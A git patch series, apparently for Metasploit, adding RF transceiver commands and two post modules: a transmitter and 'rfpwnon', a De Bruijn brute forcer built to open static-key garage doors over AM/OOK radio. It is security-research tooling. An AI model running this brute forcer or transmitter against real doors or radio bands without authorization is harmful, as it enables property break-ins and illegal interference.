+ # Sets max power + # + def cmd_maxpower(*args) + self.idx ||= 0 + if args.length > 0 + cmd_maxpower_help + return + end + r = client.rftransceiver.set_maxpower(idx) + print_success(r) + end + + def cmd_power(*args) + self.idx ||= 0 + power = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-p' => [ true, 'Power level'] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: power -p \n") + print_line(opts.usage) + return + when '-p' + power = val.to_i + end + end + if power == -1 + print_line("You must specify the power level") + return + end + r = client.rftransceiver.set_power(idx, power) + print_success(r) + end + + # + # Name for this dispatcher + # + def name + 'RFtransceiver' + end + + attr_accessor :idx +end + +end +end +end +end + diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index 8a74bb3ec8..93a82b6dcc 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -103,6 +103,9 @@ class MetasploitModule < Msf::Auxiliary if self.hw_specialty.has_key? "zigbee" sess.load_zigbee if self.hw_specialty["zigbee"] == true end + if self.hw_specialty.has_key? "rftransceiver" + sess.load_rftransceiver if self.hw_specialty["rftransceiver"] == true + end end # diff --git a/modules/post/hardware/rftransceiver/rfpwnon.rb b/modules/post/hardware/rftransceiver/rfpwnon.rb new file mode 100644 index 0000000000..eabee00fa5 --- /dev/null +++ b/modules/post/hardware/rftransceiver/rfpwnon.rb @@ -0,0 +1,153 @@ +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::RFTransceiver::RFTransceiver + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Brute Force AM/OOK (ie: Garage Doors)', + 'Description' => %q{ Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw + raw binary signals. This is a port of LegacySecurityGroup.com rfpwnon + https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py }, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('FREQ', [true, "Frequency to transmit on"]), + OptInt.new('BAUD', [false, "Baud rate to use", 2000]), + OptInt.new('BINLENGTH', [false, "Binary Length of signal to brute force", 8]), + OptInt.new('REPEAT', [false, "Number of times to repeat the signal", 5]), + OptString.new('PPAD', [false, "Specify your own binary padding before the brute forced binary", nil]), + OptString.new('TPAD', [false, "Specify your own binary padding after the brute forced binary", nil]), + OptBool.new('RAW', [false, "When set, disables PWM encoding. BINLENGTH must be -1", false]), + OptBool.new('TRI', [false, "When set, brute foces a trinary signal.", false]), + OptBool.new('EXTRAVERBOSE', [false, "More verbose", false]), + OptInt.new('INDEX', [false, "USB Index to use", 0]), + OptInt.new('DELAY', [false, "Delay in milliseconds between transmissions", 500]) + ], self.class) + @zeropwm = "1110" + @onepwm = "1000" + @brutechar = "01" + end + + # @param key [String] binary/trinary represntation + # @return [Array] ByteArray + def convert_ook(key) + pwm_str_key = "" + key.each_char do |k| + x = "*" + case k + when "0" + x = @zeropwm + when "1" + x = @onepwm + when "2" + x = @twopwm + end + pwm_str_key += x + end + return pwm_str_key.scan(/.{1,8}/).collect{|x| x.to_i(2).chr} + end + + def debruijn_bytes(k, n) + @a=[0] + @sequence = [] + debruijn(1, 1, k, n) + return @sequence.join + end + + def debruijn(t, p, k, n) + if t>n + if n%p==0 + 1.upto(p) {|j| @sequence<<@a[j]} + end + else + @a[t]=@a[t-p] + debruijn(t+1, p, k, n) + (@a[t-p]+1).upto(k-1) {|j| + @a[t]=j + debruijn(t+1, t, k, n) + } + end + end + + def run + if not is_rf? + print_error("Not an RF Transceiver") + return + end + if not set_index(datastore['INDEX']) + print_error("Couldn't set usb index to #{datastore["INDEX"]}") + return + end + if datastore["TRI"] + @zeropwm = "10001000" + @onepwm = "11101110" + @twopwm = "10001110" + @brutechar = "012" + end + + set_modulation("ASK/OOK") + set_freq(datastore["FREQ"]) + set_sync_mode(0) + set_baud(datastore["BAUD"]) + max_power + + print_status("Generating de bruijn sequence...") + seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH']) + tail = seq[0, datastore['BINLENGTH']-1] + brutepacket = seq + tail + + print_status("Brute forcing frequency: #{datastore['FREQ']}") + print_status("Padding before binary: #{datastore['PPAD']}") if datastore["PPAD"] + print_status("Padding after binary: #{datastore["TPAD"]}") if datastore["TPAD"] + print_status("De Bruijin Sequence: #{brutepacket}") if datastore["EXTRAVERBOSE"] + + startn = 0 + endy = 512 + brutepackettmp = "" + addr = 512 + if datastore["TRI"] + endy = 128 + addr = 128 + end + if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"] + endy = datastore["BINLENGTH"] + addr = 1 + end + # Transmit + while startn < brutepacket.length + (0..datastore["REPEAT"]-1).each do |i| + brutepackettemp = brutepacket[startn..endy-1] + next if brutepackettemp.length < datastore["BINLENGTH"] + # Pad if asked to + brutepackettemp = datastore["PPAD"] + brutepackettemp if datastore["PPAD"] + brutepackettemp += datastore["TPAD"] if datastore["TPAD"] + if datastore["RAW"] + key_packed = brutepackettemp.scan(/.{1,8}/).collect{|x| x.to_i(2).chr} + else + key_packed = convert_ook(brutepackettemp) + end + print_status("Transmitting...") + set_flen(key_packed.length) + rfxmit(key_packed.join) + print_status("Binary before PWM encoding:") + print_status("#{brutepackettemp}") + print_status("Binary after PWM encoding:") + print_status("#{key_packed.join.unpack("H*")[0].hex.to_s(2)}") + sleep(datastore["DELAY"] / 1000) if datastore["DELAY"] > 0 + end + if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"] + startn += addr + endy += addr + else + startn = startn + addr - datastore["BINLENGTH"] + endy = endy + addr - datastore["BINLENGTH"] + end + end + print_status("Done") + set_mode("IDLE") + end + +end diff --git a/modules/post/hardware/rftransceiver/transmitter.rb b/modules/post/hardware/rftransceiver/transmitter.rb new file mode 100644 index 0000000000..2e39a1f2c0 --- /dev/null +++ b/modules/post/hardware/rftransceiver/transmitter.rb @@ -0,0 +1,60 @@ +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::RFTransceiver::RFTransceiver + + def initialize(info={}) + super( update_info( info, + 'Name' => 'RF Transceiver Transmitter', + 'Description' => %q{ + This module powers an HWBridge-connected radio transceiver, + effectively transmitting on the frequency set by the FREQ option. + + NOTE: Users of this module should be aware of their local laws, + regulations, and licensing requirements for transmitting on any + given radio frequency. + + }, + 'References' => + [ + ['URL', 'https://github.com/AndrewMohawk/RfCatHelpers'] + ], + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('FREQ', [true, "Frequency to transmit on"]), + OptInt.new('SECONDS', [false, "Seconds to transmit", 4]), + OptInt.new('BAUD', [false, "Baud rate to use", 4800]), + OptInt.new('POWER', [false, "Power level", 100]), + OptInt.new('INDEX', [false, "USB Index to use", 0]) + ], self.class) + + end + + def run + if not is_rf? + print_error("Not an RF Transceiver") + return + end + if not set_index(datastore['INDEX']) + print_error("Couldn't set usb index to #{datastore["INDEX"]}") + return + end + set_modulation("ASK/OOK") + set_freq(datastore["FREQ"]) + set_sync_mode(0) + set_baud(datastore["BAUD"]) + set_channel_spc(24000) + set_mode("idle") + set_power(datastore["POWER"]) + + print_status("Transmitting on #{datastore['FREQ']} for #{datastore['SECONDS']} seconds...") + set_mode("tx") + sleep(datastore['SECONDS']) + print_status("Finished transmitting") + set_mode("idle") + end + +end From c4279a837a4bccb055b8d4e60d17258743a1ed90 Mon Sep 17 00:00:00 2001 From: Pearce Barry Date: Mon, 20 Feb 2017 14:52:18 -0600 Subject: [PATCH 2/3] Minor formatting/spelling/verbiage changes. --- .../post/hardware/rftransceiver/rfpwnon.md | 20 ++--- .../hardware/rftransceiver/transmitter.md | 10 +-- lib/msf/base/sessions/hwbridge.rb | 3 +- lib/rex/post/hwbridge/client.rb | 2 +- .../extensions/rftransceiver/rftransceiver.rb | 2 +- .../ui/console/command_dispatcher/core.rb | 4 +- .../command_dispatcher/rftransceiver.rb | 80 +++++++++---------- .../post/hardware/rftransceiver/rfpwnon.rb | 5 +- .../hardware/rftransceiver/transmitter.rb | 2 +- 9 files changed, 65 insertions(+), 63 deletions(-) diff --git a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md index c7f3f8899c..154ac37cba 100644 --- a/documentation/modules/post/hardware/rftransceiver/rfpwnon.md +++ b/documentation/modules/post/hardware/rftransceiver/rfpwnon.md @@ -1,4 +1,4 @@ -Brute force utility by LegacySecurityGroup and the original can be found +Port of a brute force utility by LegacySecurityGroup, the original can be found [here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py). It's a generic AM/OOK brute forcer with PWM translations. It has been demonstrated to work against static key garage door openers. @@ -7,11 +7,11 @@ demonstrated to work against static key garage door openers. **FREQ** - Frequency to brute force. + Frequency to brute force. **BAUD** - Baud rate: Default: 2000 + Baud rate. Default: 2000 **BINLENGTH** @@ -23,31 +23,31 @@ demonstrated to work against static key garage door openers. **PPAD** - Binary data to append to packet. Example: "0101" Default: None + Binary data to append to packet. (Example: "0101") Default: None **TPAD** - Binary data to add to end of packet. Example: "0101" Default: None + Binary data to add to end of packet. (Example: "0101") Default: None **RAW** - Do not do PWM encoding on packet, Default: False + Do not do PWM encoding on packet. Default: False **TRI** - Use trinary signals. Default False + Use trinary signals. Default: False **EXTRAVERBOSE** - Adds some extra status messages + Adds some extra status messages. **INDEX** - USB Index number. Default 0 + USB Index number. Default: 0 **DELAY** - How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default 0.5 seconds (500) + How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default: 500 (0.5 seconds) ## Scenarios diff --git a/documentation/modules/post/hardware/rftransceiver/transmitter.md b/documentation/modules/post/hardware/rftransceiver/transmitter.md index 048a49a718..7b84e83263 100644 --- a/documentation/modules/post/hardware/rftransceiver/transmitter.md +++ b/documentation/modules/post/hardware/rftransceiver/transmitter.md @@ -1,5 +1,5 @@ Simple module to transmit a given frequency for a specified amount of seconds. This -code was ported from [AndrewMohowk](https://github.com/AndrewMohawk). +code was ported from [AndrewMohawk](https://github.com/AndrewMohawk). NOTE: Users of this module should be aware of their local laws, regulations, and licensing requirements for transmitting on any @@ -14,7 +14,7 @@ given radio frequency. **BAUD** - Baud rate: Default: 4800 + Baud rate. Default: 4800 **POWER** @@ -22,11 +22,11 @@ given radio frequency. **SECONDS** - How many seconds to trnamit the signal. Default: 4 + How many seconds to transmit the signal. Default: 4 **INDEX** - USB Index number. Default 0 + USB Index number. Default: 0 ## Scenarios @@ -35,6 +35,6 @@ given radio frequency. ``` hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000 -[*] Transmitting on 433880000 for 15 seconds... +[*] Transmitting on 433880000 for 4 seconds... [*] Finished transmitting ``` diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb index c8c3d0ec6f..171d8b9464 100644 --- a/lib/msf/base/sessions/hwbridge.rb +++ b/lib/msf/base/sessions/hwbridge.rb @@ -167,7 +167,8 @@ class HWBridge < Rex::Post::HWBridge::Client console.disable_output = original end - # Loads the rftranceiver extension + # + # Loads the rftransceiver extension # def load_rftransceiver original = console.disable_output diff --git a/lib/rex/post/hwbridge/client.rb b/lib/rex/post/hwbridge/client.rb index f782b0fe17..59e7d494f1 100644 --- a/lib/rex/post/hwbridge/client.rb +++ b/lib/rex/post/hwbridge/client.rb @@ -72,7 +72,7 @@ class Client # # Sends a reset signal to the device to perform a software bounce or a full - # factory reset. Depends on how the device decided to handle it + # factory reset. Depends on how the device decided to handle it. # def reset send_request("/control/factory_reset") diff --git a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb index bdedfd6a34..88ff605ee1 100644 --- a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb +++ b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb @@ -9,7 +9,7 @@ module Extensions module RFTransceiver ### -# RF Tranceiver extension - set of commands to be executed on Trancievers like the TI cc11XX +# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX ### class RFTransceiver < Extension diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb index cb217626b0..f902810fe3 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb @@ -57,8 +57,8 @@ class Console::CommandDispatcher::Core "bglist" => "Lists running background scripts", "status" => "Fetch bridge status information", "specialty" => "Hardware devices specialty", - "reset" => "Resets the device. Some devices this is a full factory reset", - "reboot" => "Reboots the device. Usually only supported by stand-alone devices", + "reset" => "Resets the device (NOTE: on some devices this is a FULL FACTORY RESET)", + "reboot" => "Reboots the device (usually only supported by stand-alone devices)", "load_custom_methods" => "Loads custom HW commands if any" } diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb index 5b54e11004..5975be6bcd 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb @@ -7,7 +7,7 @@ module Post module HWBridge module Ui ### -# Automotive extension - set of commands to be executed on CAN bus +# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX ### class Console::CommandDispatcher::RFtransceiver include Console::CommandDispatcher @@ -18,24 +18,24 @@ class Console::CommandDispatcher::RFtransceiver # def commands all = { - 'supported_idx' => 'suppored USB indexes', - 'idx' => 'sets an active idx', - 'freq' => 'sets the frequency', - 'modulation' => 'sets the modulation', - 'flen' => 'sets the fixed length packet size', - 'vlen' => 'sets the variable lenght packet size', - 'xmit' => 'transmits some data', - 'recv' => 'receive a packet of data', - 'enable_crc' => 'enables crc', - 'enable_manchester' => 'enales manchester encoding', - 'channel' => 'sets channel', - 'channel_bw' => 'sets the channel bandwidth', - 'baud' => 'sets the baud rate', - 'deviation' => 'sets the deviation', - 'sync_word' => 'sets the sync word', - 'preamble' => 'sets the preamble number', - 'power' => 'sets the power level', - 'maxpower' => 'sets max power' + 'supported_idx' => 'suppored USB indexes', + 'idx' => 'sets an active idx', + 'freq' => 'sets the frequency', + 'modulation' => 'sets the modulation', + 'flen' => 'sets the fixed length packet size', + 'vlen' => 'sets the variable length packet size', + 'xmit' => 'transmits some data', + 'recv' => 'receive a packet of data', + 'enable_crc' => 'enables crc', + 'enable_manchester' => 'enables manchester encoding', + 'channel' => 'sets channel', + 'channel_bw' => 'sets the channel bandwidth', + 'baud' => 'sets the baud rate', + 'deviation' => 'sets the deviation', + 'sync_word' => 'sets the sync word', + 'preamble' => 'sets the preamble number', + 'power' => 'sets the power level', + 'maxpower' => 'sets max power' } all @@ -66,7 +66,7 @@ class Console::CommandDispatcher::RFtransceiver self.idx = 0 idx_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-i' => [ true, 'USB index, default 0'] + '-i' => [ true, 'USB index, default 0' ] ) idx_opts.parse(args) do |opt, _idx, val| case opt @@ -108,8 +108,8 @@ class Console::CommandDispatcher::RFtransceiver arg = {} opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-f' => [ true, 'frequency to set, example: 433000000'], - '-m' => [ true, 'Mhz, default is 24'] + '-f' => [ true, 'frequency to set, example: 433000000' ], + '-m' => [ true, 'Mhz' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -147,7 +147,7 @@ class Console::CommandDispatcher::RFtransceiver mod = nil opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-M' => [ true, 'Modulation name, See help for options'] + '-M' => [ true, 'Modulation name, See help for options' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -175,7 +175,7 @@ class Console::CommandDispatcher::RFtransceiver flen = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-l' => [ true, 'Fixed Length'] + '-l' => [ true, 'Fixed Length' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -203,7 +203,7 @@ class Console::CommandDispatcher::RFtransceiver vlen = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-l' => [ true, 'Variable Length'] + '-l' => [ true, 'Variable Length' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -234,9 +234,9 @@ class Console::CommandDispatcher::RFtransceiver arg = {} opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-d' => [ true, 'Variable Length'], - '-r' => [ true, 'Repeat'], - '-o' => [ true, 'Data offset'] + '-d' => [ true, 'Variable Length' ], + '-r' => [ true, 'Repeat' ], + '-o' => [ true, 'Data offset' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -272,8 +272,8 @@ class Console::CommandDispatcher::RFtransceiver blocksize = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-t' => [ true, 'timeout'], - '-b' => [ true, 'blocksize'] + '-t' => [ true, 'timeout' ], + '-b' => [ true, 'blocksize' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -345,7 +345,7 @@ class Console::CommandDispatcher::RFtransceiver channel = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-c' => [ true, 'Channel number'] + '-c' => [ true, 'Channel number' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -375,8 +375,8 @@ class Console::CommandDispatcher::RFtransceiver arg = {} opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-b' => [ true, 'Bandwidth'], - '-m' => [ true, 'Mhz'] + '-b' => [ true, 'Bandwidth' ], + '-m' => [ true, 'Mhz' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -409,8 +409,8 @@ class Console::CommandDispatcher::RFtransceiver arg = {} opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-b' => [ true, 'Baud rate'], - '-m' => [ true, 'Mhz'] + '-b' => [ true, 'Baud rate' ], + '-m' => [ true, 'Mhz' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -443,8 +443,8 @@ class Console::CommandDispatcher::RFtransceiver arg = {} opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-d' => [ true, 'Deviat'], - '-m' => [ true, 'Mhz'] + '-d' => [ true, 'Deviat' ], + '-m' => [ true, 'Mhz' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -475,7 +475,7 @@ class Console::CommandDispatcher::RFtransceiver word = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-w' => [ true, 'Sync word (Integer)'] + '-w' => [ true, 'Sync word (Integer)' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -508,7 +508,7 @@ class Console::CommandDispatcher::RFtransceiver preamble = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-n' => [ true, 'Number of preamble'] + '-n' => [ true, 'Number of preamble' ] ) opts.parse(args) do |opt, _idx, val| case opt @@ -550,7 +550,7 @@ class Console::CommandDispatcher::RFtransceiver power = -1 opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-p' => [ true, 'Power level'] + '-p' => [ true, 'Power level' ] ) opts.parse(args) do |opt, _idx, val| case opt diff --git a/modules/post/hardware/rftransceiver/rfpwnon.rb b/modules/post/hardware/rftransceiver/rfpwnon.rb index eabee00fa5..e07542958b 100644 --- a/modules/post/hardware/rftransceiver/rfpwnon.rb +++ b/modules/post/hardware/rftransceiver/rfpwnon.rb @@ -6,8 +6,9 @@ class MetasploitModule < Msf::Post super( update_info( info, 'Name' => 'Brute Force AM/OOK (ie: Garage Doors)', 'Description' => %q{ Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw - raw binary signals. This is a port of LegacySecurityGroup.com rfpwnon - https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py }, + binary signals. This is a port of the LegacySecurityGroup.com rfpwnon tool. + (https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py) + }, 'License' => MSF_LICENSE, 'Author' => ['Craig Smith'], 'Platform' => ['hardware'], diff --git a/modules/post/hardware/rftransceiver/transmitter.rb b/modules/post/hardware/rftransceiver/transmitter.rb index 2e39a1f2c0..c2a2838e59 100644 --- a/modules/post/hardware/rftransceiver/transmitter.rb +++ b/modules/post/hardware/rftransceiver/transmitter.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Post given radio frequency. }, - 'References' => + 'References' => [ ['URL', 'https://github.com/AndrewMohawk/RfCatHelpers'] ], From 7477e44d30e847666ddeef5728985f87bd80505b Mon Sep 17 00:00:00 2001 From: Pearce Barry Date: Tue, 7 Mar 2017 12:14:53 -0600 Subject: [PATCH 3/3] Use urlsafe Base64 en/decode calls. --- .../post/hwbridge/extensions/rftransceiver/rftransceiver.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb index 88ff605ee1..de07dc289d 100644 --- a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb +++ b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb @@ -84,7 +84,7 @@ class RFTransceiver < Extension # @param data [String] Data to transmit # @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer def rfxmit(idx, data, opt={}) - data = Base64.encode64(data) + data = Base64.urlsafe_encode64(data) request = "/rftransceiver/#{idx}/rfxmit?data=#{data}" request += "&repeat=#{opt["repeat"]}" if opt.has_key? "repeat" request += "&offset=#{opt["offset"]}" if opt.has_key? "offset" @@ -112,7 +112,7 @@ class RFTransceiver < Extension data = client.send_request(request) # Note the data is initially base64 encoded if data.size() > 0 - data["data"] = Base64.decode64(data["data"]) if data.has_key? "data" + data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data" end data end